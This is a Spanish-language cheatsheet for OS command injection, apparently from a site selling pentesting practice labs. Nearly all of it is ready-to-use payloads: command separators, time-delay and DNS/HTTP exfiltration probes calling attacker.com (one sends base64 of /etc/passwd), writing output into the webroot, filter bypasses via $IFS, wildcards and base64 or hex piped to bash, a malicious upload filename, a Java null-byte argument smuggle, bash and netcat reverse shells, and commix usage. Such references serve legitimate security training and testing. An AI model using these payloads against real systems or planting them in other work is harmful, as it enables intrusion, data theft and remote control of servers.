Nuevos labs cada semana — Accede a todos desde 5€/mes
Ver labs →Cheatsheet Command Injection
Inyeccion de comandos OS
Referencia rápida
- →Probar separadores en orden: ||, &&, ;, |, %0a, backticks, $()
- →Para blind command injection, usar siempre time delay como primera confirmacion
- →$IFS y wildcards (/???/??t) permiten bypass de filtros de espacios y comandos
- →Los 25 parametros mas vulnerables: cmd, exec, command, ping, query, code, func, arg
- →Command injection en filename es un vector infravalorado - probar siempre en uploads
Separadores de comandos
Pipe
| id
Doble pipe (OR)
|| id
Ampersand
& id
Doble ampersand (AND)
&& id
Semicolon
; id
NewlineNewline URL-encoded
%0A id
Backticks (Unix)
`id`
Dollar subshell (Unix)
$(id)
Payloads con variantes de espaciado
Pipe con espacios variados
ls||id; ls ||id; ls|| id; ls || id
Ampersand con espacios
ls&&id; ls &&id; ls&& id; ls && id
IFS como separador$IFS es el separador de campos interno de bash
ls${IFS}idVariable vacia como espacio
ls${LS_COLORS:10:1}${IFS}idTab como espacio
cat%09/etc/passwd
Blind command injection
Time delay (sleep)Si la respuesta tarda 5 segundos = vulnerable
|| sleep 5
Time delay (ping)
|| ping -c 5 127.0.0.1
DNS callback (exfiltracion)
|| curl http://$(whoami).attacker.com
HTTP callback
|| curl http://attacker.com/?d=$(cat /etc/passwd | base64)
Output redirectionLuego acceder a /output.txt desde el browser
|| whoami > /var/www/html/output.txt
Nslookup exfiltration
|| nslookup $(whoami).attacker.com
Bypass de filtros
Comillas para romper comandoComillas simples dentro del comando se concatenan
w'h'o'a'm'i
Doble comillas
w"h"o"a"m"i"
Backslash
w\h\o\a\m\i
Variable de entornoWildcards: /bin/cat /etc/passwd
/???/??t /???/p??s??
Base64 encoded2hvYW1p = whoami en base64
echo d2hvYW1p | base64 -d | bash
Hex encode
echo -e '\x77\x68\x6f\x61\x6d\x69' | bash
Vectores de inyeccion
Command injection en filenameProbar en upload forms cuando el server procesa el filename
filename="test || sleep 30 ||.gif"
Java null byte separationJava usa null bytes para separar argumentos de proceso
?prefix=x%00--exec=/bin/bash%20-c%20'id'%00--remote=file:///%00x
Reverse shell (bash)
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
Reverse shell (netcat)
; nc -e /bin/bash attacker.com 4444
Herramientas
commix
Herramienta automatizada de deteccion y explotacion de command injection
python3 commix.py -u "https://target.com/ping?ip=127.0.0.1" --batch
Burp Collaborator
Servidor de callbacks para confirmar blind command injection via DNS/HTTP
Burp Suite > Burp Collaborator Client
Interactsh
Alternativa open-source a Burp Collaborator para callbacks OOB
interactsh-client -v
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de práctica